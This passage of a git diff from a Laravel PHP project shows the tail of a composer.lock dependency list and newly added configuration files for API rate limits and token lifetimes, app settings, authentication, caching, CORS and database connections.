"https://github.com/sebastianbergmann/environment/security/policy", + "source": "https://github.com/sebastianbergmann/environment/tree/7.2.1" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + }, + { + "url": "https://liberapay.com/sebastianbergmann", + "type": "liberapay" + }, + { + "url": "https://thanks.dev/u/gh/sebastianbergmann", + "type": "thanks_dev" + }, + { + "url": "https://tidelift.com/funding/github/packagist/sebastian/environment", + "type": "tidelift" + } + ], + "time": "2025-05-21T11:55:47+00:00" + }, + { + "name": "sebastian/exporter", + "version": "6.3.2", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/exporter.git", + "reference": "70a298763b40b213ec087c51c739efcaa90bcd74" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/exporter/zipball/70a298763b40b213ec087c51c739efcaa90bcd74", + "reference": "70a298763b40b213ec087c51c739efcaa90bcd74", + "shasum": "" + }, + "require": { + "ext-mbstring": "*", + "php": ">=8.2", + "sebastian/recursion-context": "^6.0" + }, + "require-dev": { + "phpunit/phpunit": "^11.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "6.3-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + }, + { + "name": "Jeff Welch", + "email": "whatthejeff@gmail.com" + }, + { + "name": "Volker Dusch", + "email": "github@wallbash.com" + }, + { + "name": "Adam Harvey", + "email": "aharvey@php.net" + }, + { + "name": "Bernhard Schussek", + "email": "bschussek@gmail.com" + } + ], + "description": "Provides the functionality to export PHP variables for visualization", + "homepage": "https://www.github.com/sebastianbergmann/exporter", + "keywords": [ + "export", + "exporter" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/exporter/issues", + "security": "https://github.com/sebastianbergmann/exporter/security/policy", + "source": "https://github.com/sebastianbergmann/exporter/tree/6.3.2" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + }, + { + "url": "https://liberapay.com/sebastianbergmann", + "type": "liberapay" + }, + { + "url": "https://thanks.dev/u/gh/sebastianbergmann", + "type": "thanks_dev" + }, + { + "url": "https://tidelift.com/funding/github/packagist/sebastian/exporter", + "type": "tidelift" + } + ], + "time": "2025-09-24T06:12:51+00:00" + }, + { + "name": "sebastian/global-state", + "version": "7.0.2", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/global-state.git", + "reference": "3be331570a721f9a4b5917f4209773de17f747d7" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/global-state/zipball/3be331570a721f9a4b5917f4209773de17f747d7", + "reference": "3be331570a721f9a4b5917f4209773de17f747d7", + "shasum": "" + }, + "require": { + "php": ">=8.2", + "sebastian/object-reflector": "^4.0", + "sebastian/recursion-context": "^6.0" + }, + "require-dev": { + "ext-dom": "*", + "phpunit/phpunit": "^11.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "7.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Snapshotting of global state", + "homepage": "https://www.github.com/sebastianbergmann/global-state", + "keywords": [ + "global state" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/global-state/issues", + "security": "https://github.com/sebastianbergmann/global-state/security/policy", + "source": "https://github.com/sebastianbergmann/global-state/tree/7.0.2" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2024-07-03T04:57:36+00:00" + }, + { + "name": "sebastian/lines-of-code", + "version": "3.0.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/lines-of-code.git", + "reference": "d36ad0d782e5756913e42ad87cb2890f4ffe467a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/lines-of-code/zipball/d36ad0d782e5756913e42ad87cb2890f4ffe467a", + "reference": "d36ad0d782e5756913e42ad87cb2890f4ffe467a", + "shasum": "" + }, + "require": { + "nikic/php-parser": "^5.0", + "php": ">=8.2" + }, + "require-dev": { + "phpunit/phpunit": "^11.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "3.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library for counting the lines of code in PHP source code", + "homepage": "https://github.com/sebastianbergmann/lines-of-code", + "support": { + "issues": "https://github.com/sebastianbergmann/lines-of-code/issues", + "security": "https://github.com/sebastianbergmann/lines-of-code/security/policy", + "source": "https://github.com/sebastianbergmann/lines-of-code/tree/3.0.1" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2024-07-03T04:58:38+00:00" + }, + { + "name": "sebastian/object-enumerator", + "version": "6.0.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/object-enumerator.git", + "reference": "f5b498e631a74204185071eb41f33f38d64608aa" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/object-enumerator/zipball/f5b498e631a74204185071eb41f33f38d64608aa", + "reference": "f5b498e631a74204185071eb41f33f38d64608aa", + "shasum": "" + }, + "require": { + "php": ">=8.2", + "sebastian/object-reflector": "^4.0", + "sebastian/recursion-context": "^6.0" + }, + "require-dev": { + "phpunit/phpunit": "^11.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "6.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Traverses array structures and object graphs to enumerate all referenced objects", + "homepage": "https://github.com/sebastianbergmann/object-enumerator/", + "support": { + "issues": "https://github.com/sebastianbergmann/object-enumerator/issues", + "security": "https://github.com/sebastianbergmann/object-enumerator/security/policy", + "source": "https://github.com/sebastianbergmann/object-enumerator/tree/6.0.1" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2024-07-03T05:00:13+00:00" + }, + { + "name": "sebastian/object-reflector", + "version": "4.0.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/object-reflector.git", + "reference": "6e1a43b411b2ad34146dee7524cb13a068bb35f9" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/object-reflector/zipball/6e1a43b411b2ad34146dee7524cb13a068bb35f9", + "reference": "6e1a43b411b2ad34146dee7524cb13a068bb35f9", + "shasum": "" + }, + "require": { + "php": ">=8.2" + }, + "require-dev": { + "phpunit/phpunit": "^11.0" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "4.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Allows reflection of object attributes, including inherited and non-public ones", + "homepage": "https://github.com/sebastianbergmann/object-reflector/", + "support": { + "issues": "https://github.com/sebastianbergmann/object-reflector/issues", + "security": "https://github.com/sebastianbergmann/object-reflector/security/policy", + "source": "https://github.com/sebastianbergmann/object-reflector/tree/4.0.1" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2024-07-03T05:01:32+00:00" + }, + { + "name": "sebastian/recursion-context", + "version": "6.0.3", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/recursion-context.git", + "reference": "f6458abbf32a6c8174f8f26261475dc133b3d9dc" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/recursion-context/zipball/f6458abbf32a6c8174f8f26261475dc133b3d9dc", + "reference": "f6458abbf32a6c8174f8f26261475dc133b3d9dc", + "shasum": "" + }, + "require": { + "php": ">=8.2" + }, + "require-dev": { + "phpunit/phpunit": "^11.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "6.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + }, + { + "name": "Jeff Welch", + "email": "whatthejeff@gmail.com" + }, + { + "name": "Adam Harvey", + "email": "aharvey@php.net" + } + ], + "description": "Provides functionality to recursively process PHP variables", + "homepage": "https://github.com/sebastianbergmann/recursion-context", + "support": { + "issues": "https://github.com/sebastianbergmann/recursion-context/issues", + "security": "https://github.com/sebastianbergmann/recursion-context/security/policy", + "source": "https://github.com/sebastianbergmann/recursion-context/tree/6.0.3" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + }, + { + "url": "https://liberapay.com/sebastianbergmann", + "type": "liberapay" + }, + { + "url": "https://thanks.dev/u/gh/sebastianbergmann", + "type": "thanks_dev" + }, + { + "url": "https://tidelift.com/funding/github/packagist/sebastian/recursion-context", + "type": "tidelift" + } + ], + "time": "2025-08-13T04:42:22+00:00" + }, + { + "name": "sebastian/type", + "version": "5.1.3", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/type.git", + "reference": "f77d2d4e78738c98d9a68d2596fe5e8fa380f449" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/type/zipball/f77d2d4e78738c98d9a68d2596fe5e8fa380f449", + "reference": "f77d2d4e78738c98d9a68d2596fe5e8fa380f449", + "shasum": "" + }, + "require": { + "php": ">=8.2" + }, + "require-dev": { + "phpunit/phpunit": "^11.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "5.1-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Collection of value objects that represent the types of the PHP type system", + "homepage": "https://github.com/sebastianbergmann/type", + "support": { + "issues": "https://github.com/sebastianbergmann/type/issues", + "security": "https://github.com/sebastianbergmann/type/security/policy", + "source": "https://github.com/sebastianbergmann/type/tree/5.1.3" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + }, + { + "url": "https://liberapay.com/sebastianbergmann", + "type": "liberapay" + }, + { + "url": "https://thanks.dev/u/gh/sebastianbergmann", + "type": "thanks_dev" + }, + { + "url": "https://tidelift.com/funding/github/packagist/sebastian/type", + "type": "tidelift" + } + ], + "time": "2025-08-09T06:55:48+00:00" + }, + { + "name": "sebastian/version", + "version": "5.0.2", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/version.git", + "reference": "c687e3387b99f5b03b6caa64c74b63e2936ff874" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/version/zipball/c687e3387b99f5b03b6caa64c74b63e2936ff874", + "reference": "c687e3387b99f5b03b6caa64c74b63e2936ff874", + "shasum": "" + }, + "require": { + "php": ">=8.2" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "5.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library that helps with managing the version number of Git-hosted PHP projects", + "homepage": "https://github.com/sebastianbergmann/version", + "support": { + "issues": "https://github.com/sebastianbergmann/version/issues", + "security": "https://github.com/sebastianbergmann/version/security/policy", + "source": "https://github.com/sebastianbergmann/version/tree/5.0.2" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2024-10-09T05:16:32+00:00" + }, + { + "name": "staabm/side-effects-detector", + "version": "1.0.5", + "source": { + "type": "git", + "url": "https://github.com/staabm/side-effects-detector.git", + "reference": "d8334211a140ce329c13726d4a715adbddd0a163" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/staabm/side-effects-detector/zipball/d8334211a140ce329c13726d4a715adbddd0a163", + "reference": "d8334211a140ce329c13726d4a715adbddd0a163", + "shasum": "" + }, + "require": { + "ext-tokenizer": "*", + "php": "^7.4 || ^8.0" + }, + "require-dev": { + "phpstan/extension-installer": "^1.4.3", + "phpstan/phpstan": "^1.12.6", + "phpunit/phpunit": "^9.6.21", + "symfony/var-dumper": "^5.4.43", + "tomasvotruba/type-coverage": "1.0.0", + "tomasvotruba/unused-public": "1.0.0" + }, + "type": "library", + "autoload": { + "classmap": [ + "lib/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "A static analysis tool to detect side effects in PHP code", + "keywords": [ + "static analysis" + ], + "support": { + "issues": "https://github.com/staabm/side-effects-detector/issues", + "source": "https://github.com/staabm/side-effects-detector/tree/1.0.5" + }, + "funding": [ + { + "url": "https://github.com/staabm", + "type": "github" + } + ], + "time": "2024-10-20T05:08:20+00:00" + }, + { + "name": "symfony/yaml", + "version": "v8.1.1", + "source": { + "type": "git", + "url": "https://github.com/symfony/yaml.git", + "reference": "8e4cdd4311683516be06944f4b85244063cdb886" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/symfony/yaml/zipball/8e4cdd4311683516be06944f4b85244063cdb886", + "reference": "8e4cdd4311683516be06944f4b85244063cdb886", + "shasum": "" + }, + "require": { + "php": ">=8.4.1", + "symfony/polyfill-ctype": "^1.8" + }, + "conflict": { + "symfony/console": "<7.4" + }, + "require-dev": { + "symfony/console": "^7.4|^8.0", + "yaml/yaml-test-suite": "*" + }, + "bin": [ + "Resources/bin/yaml-lint" + ], + "type": "library", + "autoload": { + "psr-4": { + "Symfony\\Component\\Yaml\\": "" + }, + "exclude-from-classmap": [ + "/Tests/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + }, + { + "name": "Symfony Community", + "homepage": "https://symfony.com/contributors" + } + ], + "description": "Loads and dumps YAML files", + "homepage": "https://symfony.com", + "support": { + "source": "https://github.com/symfony/yaml/tree/v8.1.1" + }, + "funding": [ + { + "url": "https://symfony.com/sponsor", + "type": "custom" + }, + { + "url": "https://github.com/fabpot", + "type": "github" + }, + { + "url": "https://github.com/nicolas-grekas", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", + "type": "tidelift" + } + ], + "time": "2026-06-09T11:06:24+00:00" + }, + { + "name": "ta-tikoma/phpunit-architecture-test", + "version": "0.8.7", + "source": { + "type": "git", + "url": "https://github.com/ta-tikoma/phpunit-architecture-test.git", + "reference": "1248f3f506ca9641d4f68cebcd538fa489754db8" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/ta-tikoma/phpunit-architecture-test/zipball/1248f3f506ca9641d4f68cebcd538fa489754db8", + "reference": "1248f3f506ca9641d4f68cebcd538fa489754db8", + "shasum": "" + }, + "require": { + "nikic/php-parser": "^4.18.0 || ^5.0.0", + "php": "^8.1.0", + "phpdocumentor/reflection-docblock": "^5.3.0 || ^6.0.0", + "phpunit/phpunit": "^10.5.5 || ^11.0.0 || ^12.0.0 || ^13.0.0", + "symfony/finder": "^6.4.0 || ^7.0.0 || ^8.0.0" + }, + "require-dev": { + "laravel/pint": "^1.13.7", + "phpstan/phpstan": "^1.10.52" + }, + "type": "library", + "autoload": { + "psr-4": { + "PHPUnit\\Architecture\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Ni Shi", + "email": "futik0ma011@gmail.com" + }, + { + "name": "Nuno Maduro", + "email": "enunomaduro@gmail.com" + } + ], + "description": "Methods for testing application architecture", + "keywords": [ + "architecture", + "phpunit", + "stucture", + "test", + "testing" + ], + "support": { + "issues": "https://github.com/ta-tikoma/phpunit-architecture-test/issues", + "source": "https://github.com/ta-tikoma/phpunit-architecture-test/tree/0.8.7" + }, + "time": "2026-02-17T17:25:14+00:00" + }, + { + "name": "theseer/tokenizer", + "version": "1.3.1", + "source": { + "type": "git", + "url": "https://github.com/theseer/tokenizer.git", + "reference": "b7489ce515e168639d17feec34b8847c326b0b3c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/theseer/tokenizer/zipball/b7489ce515e168639d17feec34b8847c326b0b3c", + "reference": "b7489ce515e168639d17feec34b8847c326b0b3c", + "shasum": "" + }, + "require": { + "ext-dom": "*", + "ext-tokenizer": "*", + "ext-xmlwriter": "*", + "php": "^7.2 || ^8.0" + }, + "type": "library", + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Arne Blankerts", + "email": "arne@blankerts.de", + "role": "Developer" + } + ], + "description": "A small library for converting tokenized PHP source code into XML and potentially other formats", + "support": { + "issues": "https://github.com/theseer/tokenizer/issues", + "source": "https://github.com/theseer/tokenizer/tree/1.3.1" + }, + "funding": [ + { + "url": "https://github.com/theseer", + "type": "github" + } + ], + "time": "2025-11-17T20:03:58+00:00" + }, + { + "name": "webmozart/assert", + "version": "2.4.1", + "source": { + "type": "git", + "url": "https://github.com/webmozarts/assert.git", + "reference": "2ccb7c2e821038c03a3e6e1700c570c158c55f70" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/webmozarts/assert/zipball/2ccb7c2e821038c03a3e6e1700c570c158c55f70", + "reference": "2ccb7c2e821038c03a3e6e1700c570c158c55f70", + "shasum": "" + }, + "require": { + "ext-ctype": "*", + "ext-date": "*", + "ext-filter": "*", + "php": "^8.2" + }, + "suggest": { + "ext-intl": "", + "ext-simplexml": "", + "ext-spl": "" + }, + "type": "library", + "extra": { + "psalm": { + "pluginClass": "Webmozart\\Assert\\PsalmPlugin" + }, + "branch-alias": { + "dev-master": "2.0-dev", + "dev-feature/2-0": "2.0-dev" + } + }, + "autoload": { + "psr-4": { + "Webmozart\\Assert\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Bernhard Schussek", + "email": "bschussek@gmail.com" + }, + { + "name": "Woody Gilk", + "email": "woody.gilk@gmail.com" + } + ], + "description": "Assertions to validate method input/output with nice error messages.", + "keywords": [ + "assert", + "check", + "validate" + ], + "support": { + "issues": "https://github.com/webmozarts/assert/issues", + "source": "https://github.com/webmozarts/assert/tree/2.4.1" + }, + "time": "2026-06-15T15:31:57+00:00" + } + ], + "aliases": [], + "minimum-stability": "dev", + "stability-flags": {}, + "prefer-stable": true, + "prefer-lowest": false, + "platform": { + "php": "^8.4" + }, + "platform-dev": {}, + "plugin-api-version": "2.9.0" +} diff --git a/config/api.php b/config/api.php new file mode 100644 index 00000000..83025b37 --- /dev/null +++ b/config/api.php @@ -0,0 +1,67 @@ + [ + 'community' => [ + 'default' => 60, + 'uploads' => 20, + ], + 'cloud' => [ + 'default' => 120, + 'uploads' => 30, + ], + ], + + /* + |-------------------------------------------------------------------------- + | Token lifetime (days) + |-------------------------------------------------------------------------- + | + | `default` pre-fills the expiry field when minting a token; `max` is the + | ceiling the request validator enforces. A token is a password that + | never gets rotated by habit, so an expiry is required at creation + | (see ApiTokensController) and this is how long it may run for. + | + */ + + 'tokens' => [ + 'default_days' => 90, + 'max_days' => 365, + ], + + /* + |-------------------------------------------------------------------------- + | Pagination + |-------------------------------------------------------------------------- + | + | Cursor page size for every list endpoint. `max` caps what a caller may + | ask for via ?per_page, so one client cannot turn a list call into a + | full-table export. + | + */ + + 'pagination' => [ + 'per_page' => 25, + 'max_per_page' => 100, + ], + +]; diff --git a/config/app.php b/config/app.php new file mode 100644 index 00000000..f4672673 --- /dev/null +++ b/config/app.php @@ -0,0 +1,126 @@ + env('APP_NAME', 'Laravel'), + + /* + |-------------------------------------------------------------------------- + | Application Environment + |-------------------------------------------------------------------------- + | + | This value determines the "environment" your application is currently + | running in. This may determine how you prefer to configure various + | services the application utilizes. Set this in your ".env" file. + | + */ + + 'env' => env('APP_ENV', 'production'), + + /* + |-------------------------------------------------------------------------- + | Application Debug Mode + |-------------------------------------------------------------------------- + | + | When your application is in debug mode, detailed error messages with + | stack traces will be shown on every error that occurs within your + | application. If disabled, a simple generic error page is shown. + | + */ + + 'debug' => (bool) env('APP_DEBUG', false), + + /* + |-------------------------------------------------------------------------- + | Application URL + |-------------------------------------------------------------------------- + | + | This URL is used by the console to properly generate URLs when using + | the Artisan command line tool. You should set this to the root of + | the application so that it's available within Artisan commands. + | + */ + + 'url' => env('APP_URL', 'http://localhost'), + + /* + |-------------------------------------------------------------------------- + | Application Timezone + |-------------------------------------------------------------------------- + | + | Here you may specify the default timezone for your application, which + | will be used by the PHP date and date-time functions. The timezone + | is set to "UTC" by default as it is suitable for most use cases. + | + */ + + 'timezone' => env('APP_TIMEZONE', 'UTC'), + + /* + |-------------------------------------------------------------------------- + | Application Locale Configuration + |-------------------------------------------------------------------------- + | + | The application locale determines the default locale that will be used + | by Laravel's translation / localization methods. This option can be + | set to any locale for which you plan to have translation strings. + | + */ + + 'locale' => env('APP_LOCALE', 'en'), + + 'fallback_locale' => env('APP_FALLBACK_LOCALE', 'en'), + + 'faker_locale' => env('APP_FAKER_LOCALE', 'en_US'), + + /* + |-------------------------------------------------------------------------- + | Encryption Key + |-------------------------------------------------------------------------- + | + | This key is utilized by Laravel's encryption services and should be set + | to a random, 32 character string to ensure that all encrypted values + | are secure. You should do this prior to deploying the application. + | + */ + + 'cipher' => 'AES-256-CBC', + + 'key' => env('APP_KEY'), + + 'previous_keys' => [ + ...array_filter( + explode(',', env('APP_PREVIOUS_KEYS', '')) + ), + ], + + /* + |-------------------------------------------------------------------------- + | Maintenance Mode Driver + |-------------------------------------------------------------------------- + | + | These configuration options determine the driver used to determine and + | manage Laravel's "maintenance mode" status. The "cache" driver will + | allow maintenance mode to be controlled across multiple machines. + | + | Supported drivers: "file", "cache" + | + */ + + 'maintenance' => [ + 'driver' => env('APP_MAINTENANCE_DRIVER', 'file'), + 'store' => env('APP_MAINTENANCE_STORE', 'database'), + ], + +]; diff --git a/config/auth.php b/config/auth.php new file mode 100644 index 00000000..9daae001 --- /dev/null +++ b/config/auth.php @@ -0,0 +1,117 @@ + [ + 'guard' => env('AUTH_GUARD', 'web'), + 'passwords' => env('AUTH_PASSWORD_BROKER', 'users'), + ], + + /* + |-------------------------------------------------------------------------- + | Authentication Guards + |-------------------------------------------------------------------------- + | + | Next, you may define every authentication guard for your application. + | Of course, a great default configuration has been defined for you + | which utilizes session storage plus the Eloquent user provider. + | + | All authentication guards have a user provider, which defines how the + | users are actually retrieved out of your database or other storage + | system used by the application. Typically, Eloquent is utilized. + | + | Supported: "session" + | + */ + + 'guards' => [ + 'web' => [ + 'driver' => 'session', + 'provider' => 'users', + ], + ], + + /* + |-------------------------------------------------------------------------- + | User Providers + |-------------------------------------------------------------------------- + | + | All authentication guards have a user provider, which defines how the + | users are actually retrieved out of your database or other storage + | system used by the application. Typically, Eloquent is utilized. + | + | If you have multiple user tables or models you may configure multiple + | providers to represent the model / table. These providers may then + | be assigned to any extra authentication guards you have defined. + | + | Supported: "database", "eloquent" + | + */ + + 'providers' => [ + 'users' => [ + 'driver' => 'eloquent', + 'model' => env('AUTH_MODEL', User::class), + ], + + // 'users' => [ + // 'driver' => 'database', + // 'table' => 'users', + // ], + ], + + /* + |-------------------------------------------------------------------------- + | Resetting Passwords + |-------------------------------------------------------------------------- + | + | These configuration options specify the behavior of Laravel's password + | reset functionality, including the table utilized for token storage + | and the user provider that is invoked to actually retrieve users. + | + | The expiry time is the number of minutes that each reset token will be + | considered valid. This security feature keeps tokens short-lived so + | they have less time to be guessed. You may change this as needed. + | + | The throttle setting is the number of seconds a user must wait before + | generating more password reset tokens. This prevents the user from + | quickly generating a very large amount of password reset tokens. + | + */ + + 'passwords' => [ + 'users' => [ + 'provider' => 'users', + 'table' => env('AUTH_PASSWORD_RESET_TOKEN_TABLE', 'password_reset_tokens'), + 'expire' => 60, + 'throttle' => 60, + ], + ], + + /* + |-------------------------------------------------------------------------- + | Password Confirmation Timeout + |-------------------------------------------------------------------------- + | + | Here you may define the amount of seconds before a password confirmation + | window expires and users are asked to re-enter their password via the + | confirmation screen. By default, the timeout lasts for three hours. + | + */ + + 'password_timeout' => env('AUTH_PASSWORD_TIMEOUT', 10800), + +]; diff --git a/config/cache.php b/config/cache.php new file mode 100644 index 00000000..925f7d2e --- /dev/null +++ b/config/cache.php @@ -0,0 +1,108 @@ + env('CACHE_STORE', 'database'), + + /* + |-------------------------------------------------------------------------- + | Cache Stores + |-------------------------------------------------------------------------- + | + | Here you may define all of the cache "stores" for your application as + | well as their drivers. You may even define multiple stores for the + | same cache driver to group types of items stored in your caches. + | + | Supported drivers: "array", "database", "file", "memcached", + | "redis", "dynamodb", "octane", "null" + | + */ + + 'stores' => [ + + 'array' => [ + 'driver' => 'array', + 'serialize' => false, + ], + + 'database' => [ + 'driver' => 'database', + 'connection' => env('DB_CACHE_CONNECTION'), + 'table' => env('DB_CACHE_TABLE', 'cache'), + 'lock_connection' => env('DB_CACHE_LOCK_CONNECTION'), + 'lock_table' => env('DB_CACHE_LOCK_TABLE'), + ], + + 'file' => [ + 'driver' => 'file', + 'path' => storage_path('framework/cache/data'), + 'lock_path' => storage_path('framework/cache/data'), + ], + + 'memcached' => [ + 'driver' => 'memcached', + 'persistent_id' => env('MEMCACHED_PERSISTENT_ID'), + 'sasl' => [ + env('MEMCACHED_USERNAME'), + env('MEMCACHED_PASSWORD'), + ], + 'options' => [ + // Memcached::OPT_CONNECT_TIMEOUT => 2000, + ], + 'servers' => [ + [ + 'host' => env('MEMCACHED_HOST', '127.0.0.1'), + 'port' => env('MEMCACHED_PORT', 11211), + 'weight' => 100, + ], + ], + ], + + 'redis' => [ + 'driver' => 'redis', + 'connection' => env('REDIS_CACHE_CONNECTION', 'cache'), + 'lock_connection' => env('REDIS_CACHE_LOCK_CONNECTION', 'default'), + ], + + 'dynamodb' => [ + 'driver' => 'dynamodb', + 'key' => env('AWS_ACCESS_KEY_ID'), + 'secret' => env('AWS_SECRET_ACCESS_KEY'), + 'region' => env('AWS_DEFAULT_REGION', 'us-east-1'), + 'table' => env('DYNAMODB_CACHE_TABLE', 'cache'), + 'endpoint' => env('DYNAMODB_ENDPOINT'), + ], + + 'octane' => [ + 'driver' => 'octane', + ], + + ], + + /* + |-------------------------------------------------------------------------- + | Cache Key Prefix + |-------------------------------------------------------------------------- + | + | When utilizing the APC, database, memcached, Redis, and DynamoDB cache + | stores, there might be other applications using the same cache. For + | that reason, you may prefix every cache key to avoid collisions. + | + */ + + 'prefix' => env('CACHE_PREFIX', Str::slug(env('APP_NAME', 'laravel'), '_').'_cache_'), + +]; diff --git a/config/cors.php b/config/cors.php new file mode 100644 index 00000000..2e432687 --- /dev/null +++ b/config/cors.php @@ -0,0 +1,64 @@ + true` may not be combined with a wildcard + | origin — which is the browser telling you to name the origins anyway. + | + */ + + 'paths' => ['api/*'], + + 'allowed_methods' => ['*'], + + 'allowed_origins' => array_values(array_filter( + explode(',', (string) env('API_ALLOWED_ORIGINS', '')), + static fn (string $origin): bool => trim($origin) !== '', + )), + + 'allowed_origins_patterns' => [], + + 'allowed_headers' => ['*'], + + // Without this a browser client can read the body but not the headers + // that tell it how much allowance is left or when to retry — the two + // things a well-behaved client needs in order to back off. + 'exposed_headers' => [ + 'X-RateLimit-Limit', + 'X-RateLimit-Remaining', + 'Retry-After', + ], + + 'max_age' => 0, + + // Bearer tokens only: cookies must never travel cross-origin to this + // API. See config/sanctum.php, where both `stateful` and `guard` are + // empty for the same reason. + 'supports_credentials' => false, + +]; diff --git a/config/database.php b/config/database.php new file mode 100644 index 00000000..8910562d --- /dev/null +++ b/config/database.php @@ -0,0 +1,174 @@ + env('DB_CONNECTION', 'sqlite'), + + /* + |-------------------------------------------------------------------------- + | Database Connections + |-------------------------------------------------------------------------- + | + | Below are all of the database connections defined for your application. + | An example configuration is provided for each database system which + | is supported by Laravel. You're free to add / remove connections. + | + */ + + 'connections' => [ + + 'sqlite' => [ + 'driver' => 'sqlite', + 'url' => env('DB_URL'), + 'database' => env('DB_DATABASE', database_path('database.sqlite')), + 'prefix' => '', + 'foreign_key_constraints' => env('DB_FOREIGN_KEYS', true), + 'busy_timeout' => null, + 'journal_mode' => null, + 'synchronous' => null, + ], + + 'mysql' => [ + 'driver' => 'mysql', + 'url' => env('DB_URL'), + 'host' => env('DB_HOST', '127.0.0.1'), + 'port' => env('DB_PORT', '3306'), + 'database' => env('DB_DATABASE', 'laravel'), + 'username' => env('DB_USERNAME', 'root'), + 'password' => env('DB_PASSWORD', ''), + 'unix_socket' => env('DB_SOCKET', ''), + 'charset' => env('DB_CHARSET', 'utf8mb4'), + 'collation' => env('DB_COLLATION', 'utf8mb4_unicode_ci'), + 'prefix' => '', + 'prefix_indexes' => true, + 'strict' => true, + 'engine' => null, + 'options' => extension_loaded('pdo_mysql') ? array_filter([ + PDO::MYSQL_ATTR_SSL_CA => env('MYSQL_ATTR_SSL_CA'), + ]) : [], + ], + + 'mariadb' => [ + 'driver' => 'mariadb', + 'url' => env('DB_URL'), + 